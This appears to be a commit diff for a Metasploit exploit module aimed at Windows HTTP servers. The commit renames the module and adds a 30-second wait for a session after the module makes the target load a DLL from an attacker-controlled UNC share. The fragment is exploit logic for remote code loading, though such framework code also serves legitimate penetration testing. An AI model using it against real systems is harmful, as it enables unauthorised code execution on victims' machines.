Add timeout to connection handler

Author: Matthew Hall

…s/windows/http/generic_http_dllinject.rb …/windows/http/generic_http_dll_server.rbmodules/exploits/windows/http/generic_http_dllinject.rb renamed to modules/exploits/windows/http/generic_http_dll_server.rb modules/exploits/windows/http/generic_http_dllinject.rb renamed to modules/exploits/windows/http/generic_http_dll_server.rb

@@ -79,7 +79,7 @@ def exploit
     else
       share = "#{@unc}"
     end
-    print_status("Injecting DLL to #{datastore['RHOST']}:#{datastore['RPORT']} - #{share}")
+    print_status("Requesting DLL load to #{datastore['RHOST']}:#{datastore['RPORT']} from #{share}")
 
     sploit = datastore['URI'] 
     sploit << share
@@ -89,6 +89,12 @@ def exploit
       'uri' => sploit
     }, 5)
 
-    handler    
+    # Wait 30 seconds for session to be created
+    1.upto(30) do
+      break if session_created?
+      select(nil, nil, nil, 1)
+      handler
+    end
+    disconnect
   end
 end